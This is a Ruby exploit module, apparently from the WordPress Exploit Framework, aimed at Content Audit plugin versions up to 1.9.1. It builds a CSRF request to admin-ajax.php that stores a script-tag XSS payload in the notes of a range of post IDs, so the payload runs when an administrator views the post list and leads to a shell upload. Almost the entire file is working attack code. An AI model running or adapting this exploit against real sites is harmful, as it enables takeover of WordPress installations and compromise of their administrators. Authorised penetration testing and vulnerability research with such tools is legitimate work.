lib/wpxf/modules/exploit/xss/stored/content_audit_csrf_stored_xss_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::ContentAuditCsrfStoredXssShellUpload < Wpxf::Module
include Wpxf::WordPress::StagedReflectedXss
def initialize
super
update_info(
name: 'Content Audit <= 1.9.1 CSRF Stored XSS Shell Upload',
desc: %(
Versions up to and including 1.9.1 of the Content Audit plugin suffer
from a CSRF and encoding issue, allowing for a JavaScript payload to
be stored in the notes against a page.
This module will create a link, which when clicked by an admin, will
store the payload against all auditable items with an ID in the specified
range. By default, Content Audit ships with only pages audited, but posts
can also be audited. The payload will be executed the next time an admin
views the page / post management area, with one of the infected items
visible in the list.
Note: If a specified post ID has not been yet assigned a post / page, the
payload will be stored and executed when the ID is eventually assigned to
a new post / page.
),
desc_preformatted: true,
author: [
'Tom Adams', # Disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '8915'],
['URL', 'http://seclists.org/fulldisclosure/2017/Sep/73'],
['URL', 'https://security.dxw.com/advisories/csrf-xss-content-audit/']
],
date: 'Aug 21 2017'
)
register_options([
IntegerOption.new(
name: 'first_post_id',
desc: 'The first post ID to store the payload against',
required: true,
default: 1
),
IntegerOption.new(
name: 'last_post_id',
desc: 'The last post ID to store the payload against',
required: true,
default: 100
)
])
end
def check
check_plugin_version_from_readme('content-audit', '1.9.2')
end
def vulnerable_url
wordpress_url_admin_ajax
end
def first_post_id
normalized_option_value('first_post_id')
end
def last_post_id
normalized_option_value('last_post_id')
end
def initial_script
fields = {
'action' => 'content_audit_save_bulk_edit',
'_content_audit_owner' => Utility::Text.rand_alphanumeric(10),
'_content_audit_expiration_date' => (Date.today + 7).strftime('%Y-%m-%d'),
'_content_audit_notes' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
}
Array(first_post_id..last_post_id).each_with_index { |id, index| fields["post_ids[#{index}]"] = id }
create_basic_post_script vulnerable_url, fields
end
end